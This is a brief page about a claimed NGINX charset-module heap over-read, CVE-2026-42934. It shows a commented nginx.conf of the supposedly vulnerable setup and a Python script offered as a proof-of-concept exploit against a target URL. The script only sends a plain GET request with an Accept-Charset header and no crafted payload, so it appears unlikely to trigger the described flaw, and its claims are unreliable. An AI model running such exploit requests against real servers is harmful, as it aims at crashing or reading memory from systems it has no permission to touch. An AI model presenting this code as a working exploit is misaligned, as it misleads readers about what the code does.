CVE-2026-42934 NGINX字符集模块堆缓冲区越界读取漏洞

# Vulnerable Configuration Example in nginx.conf # http { # charset_map iso-8859-1 utf-8 { ... } # server { # location / { # charset utf-8; # source_charset iso-8859-1; # proxy_pass http://backend; # proxy_buffering off; # Vulnerable condition # } # } # } import requests def send_exploit_request(target_url): """ Proof of Concept for CVE-2026-42934. Sends a request that may trigger heap buffer over-read if the server is configured with charset_map and proxy_buffering off. Note: Exploit outcome depends on specific memory state. """ try: # Send a request with specific headers or payload that triggers charset conversion headers = { "User-Agent": "CVE-2026-42934-POC", "Accept-Charset": "iso-8859-1" } response = requests.get(target_url, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print("Request sent. Check server logs for crashes or memory leaks.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://vulnerable-nginx-server.com" send_exploit_request(target)